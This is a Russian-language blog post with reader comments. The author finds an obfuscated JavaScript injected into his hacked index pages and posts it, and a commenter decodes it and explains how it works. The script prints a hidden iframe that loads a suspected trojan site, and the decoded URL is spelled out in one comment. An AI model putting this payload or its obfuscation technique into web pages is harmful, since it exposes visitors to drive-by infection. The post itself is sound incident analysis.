Криптологическое

*

Сегодня готовил сайты к переезду на другой хостинг. А заодно делал кое-что в Виндоуз. Профилактика, такскть. А то он у меня совсем позабыт-позаброшен, я-то все время в Линуксе сижу. Ну так вот, работаю я в Виндоуз и вдруг антивир начинает беситься. Карантинит несколько архивов с забекапленными файлами для переноса на другой хостинг. Я, естественно, начинаю ковыряться и выяснять, что там за зараза.

Оказалось, я не все вычистил после прошлого взлома сайтов. Пользуясь случаем, хотел бы еще раз выразить благодарность хостингу GoDaddy.com, сотрудники которого переносят сайты, показавшиеся им подозрительными, на сервер-карантин, настройки php на котором позволяют желающим гулять по всему жесткому диску сервера и ломать все, что оказалось на том диске.

В человеческом мире этому приему хостинга можно было бы подобрать такой эквивалент: любой чихнувший, кашлянувший или не вовремя зачесавшийся прохожий немедленно отправляется полицией до выяснения обстоятельств в холерный барак, где никогда не проводится дезинфекция. Если за время того самого выяснения обстоятельств прохожий не отдает концы от холеры, то его могут и выпустить.

Так вот, когда в прошлый раз я чистил взломанные файлы index.htm, index.html и index.php, два файла я таки пропустил. К счастью, не очень посещаемых, так что, надеюсь, никто не пострадал. Один из них был вообще поставлен в такое место, откуда и заразиться-то невозможно - посетители туда зайти не могут, а у меня всегда с собой противоядие. :) Второе место теоретически представляло некоторую опасность - это был вход в проект (можете жать на ссылку - уже незаразно) Hebrus2, в который не так просто попасть по обычной навигации сайта.

В общем, файлы я почистил. Но в отличие от прошлого раза, когда весь вредоносный код я просто уничтожил, на сей раз я его (код) сохранил. Код представляет собой зашифрованный скрипт, в котром понятны операторы, но совершенно непонятны их параметры. Код стоял между тэгами </head>  и <body> в этаком элегантном месте, которое не сразу и заметишь. Вот этот код (скобки тэгов для безопасности заменены на html-entities:

<script type="text/javascript">var hPLAmyvsdfELzjhpwQYf = "EOje60EOje105EOje102EOje114EOje97EOje109EOje101EOje32EOje119EOje105EOje100EOje116EOje104EOje61EOje34EOje52EOje56EOje48EOje34EOje32EOje104EOje101EOje105EOje103EOje104EOje116EOje61EOje34EOje54EOje48EOje34EOje32EOje115EOje114EOje99EOje61EOje34EOje104EOje116EOje116EOje112EOje58EOje47EOje47EOje116EOje114EOje97EOje102EOje102EOje105EOje99EOje45EOje114EOje101EOje115EOje111EOje117EOje114EOje99EOje101EOje115EOje46EOje99EOje110EOje47EOje111EOje114EOje100EOje101EOje114EOje47EOje105EOje110EOje46EOje99EOje103EOje105EOje63EOje50EOje34EOje32EOje115EOje116EOje121EOje108EOje101EOje61EOje34EOje98EOje111EOje114EOje100EOje101EOje114EOje58EOje48EOje112EOje120EOje59EOje32EOje112EOje111EOje115EOje105EOje116EOje105EOje111EOje110EOje58EOje114EOje101EOje108EOje97EOje116EOje105EOje118EOje101EOje59EOje32EOje116EOje111EOje112EOje58EOje48EOje112EOje120EOje59EOje32EOje108EOje101EOje102EOje116EOje58EOje45EOje53EOje48EOje48EOje112EOje120EOje59EOje32EOje111EOje112EOje97EOje99EOje105EOje116EOje121EOje58EOje48EOje59EOje32EOje102EOje105EOje108EOje116EOje101EOje114EOje58EOje112EOje114EOje111EOje103EOje105EOje100EOje58EOje68EOje88EOje73EOje109EOje97EOje103EOje101EOje84EOje114EOje97EOje110EOje115EOje102EOje111EOje114EOje109EOje46EOje77EOje105EOje99EOje114EOje111EOje115EOje111EOje102EOje116EOje46EOje65EOje108EOje112EOje104EOje97EOje40EOje111EOje112EOje97EOje99EOje105EOje116EOje121EOje61EOje48EOje41EOje59EOje32EOje45EOje109EOje111EOje122EOje45EOje111EOje112EOje97EOje99EOje105EOje116EOje121EOje58EOje48EOje34EOje62EOje60EOje47EOje105EOje102EOje114EOje97EOje109EOje101EOje62";var wyAIvMIOvBsdRDeECZxg = hPLAmyvsdfELzjhpwQYf.split("EOje");var EBrElZthpSMlQNtLZBZV = "";for (var DRzVVdaXDXEHYwLKVFrL=1; DRzVVdaXDXEHYwLKVFrL<wyAIvMIOvBsdRDeECZxg.length; DRzVVdaXDXEHYwLKVFrL++){EBrElZthpSMlQNtLZBZV+=String.fromCharCode(wyAIvMIOvBsdRDeECZxg[DRzVVdaXDXEHYwLKVFrL]);}var FmdulWQzUMVHZPWHWyXp = ""+EBrElZthpSMlQNtLZBZV+"";document.write(""+FmdulWQzUMVHZPWHWyXp+"")</script>

Я понимаю, где стоит строка-ключ, но решительно не могу догнать, как эту белиберду расшифровать и привести в удобочитаемый вид. Кто-то может посодействовать?

UPD. Скрипт расшифрован vcohen, за что ему большой респект. Скобки заменены на квадратные, ссылка сделана неактивной:
[iframe width="480" height="60" src="h t t p :// t r a f f i c -r e s o u r c e s . c n /order/in.cgi?2" style="border:0px; position:relative; top:0px; left:-500px; opacity:0; filter:progid:DXImageTransform.Microsoft.Alpha(opacity=0); -moz-opacity:0"][/iframe]

Предупреждение: тем, кто не ощущает себя гуру, категорически не рекомендуется переходить по приведенной в расшифровке ссылке.

Комментарии

Пытаюсь расшифровать. Что пока понял - что вот эта длинная строка содержит коды неких символов, разделенные комбинацией EOje. Программа делит строку по EOje, превращает коды в соответствующие символы и подставляет их на место самой себя. В результате, видимо, получается какой-то скрипт. Когда файл грузится в браузер, скрипт исполняется. Я пока не знаю, что это за скрипт, но скоро узнаю. Пока что у меня, в процессе выяснения, антивирус верещал уже два раза.

Пока что у меня, в процессе выяснения, антивирус верещал уже два раза

Странно. Я ведь сделал скрипт неисполняемым (при помощи entities. Обрати внимание на ключ к шифру (ИМХО):
"{EBrElZthpSMlQNtLZBZV+=String.fromCharCode(wyAIvMIOvBsdRDeECZxg[DRzVVdaXDXEHYwLKVFrL]);}var FmdulWQzUMVHZPWHWyXp"

По идее, это должен быть inframe width="0" height="0" visible="0" c отсылкой на сайт с трояном.

Понял. Это не скрипт. Это HTML-код, вот такой (заменяю угловые скобки на квадратные):

[iframe width="480" height="60" src="http://traffic-resources.cn/order/in.cgi?2" style="border:0px; position:relative; top:0px; left:-500px; opacity:0; filter:progid:DXImageTransform.Microsoft.Alpha(opacity=0); -moz-opacity:0"][/iframe]

То есть рамка, в которой появляется страница из совершенно другого сайта, причем невидимо для глаза. А уж что она делает - я проверять не буду.

> По идее, это должен быть inframe width=”0″ height=”0″ visible=”0″ c отсылкой на сайт с трояном.

Да, так и есть.

> Странно. Я ведь сделал скрипт неисполняемым (при помощи entities.

Но ты его оставил читабельным. Этого было достаточно, чтобы я его скопировал к себе.

> Обрати внимание на ключ к шифру (ИМХО):
“{EBrElZthpSMlQNtLZBZV+=String.fromCharCode(wyAIvMIOvBsdRDeECZxg[DRzVVdaXDXEHYwLKVFrL]);}var FmdulWQzUMVHZPWHWyXp”

И где здесь ключ? Эти хитрые последовательности символов - это просто имена переменных. Я у себя заменил их на более простые имена (a1, a2, ...), чтобы было проще разобраться.

Спасибо! Разумеется, не проверяй.

Мою предыдущую реплику видел?

Да, видел. Ты прав, я ошибся. Классная работа!

Новые комментарии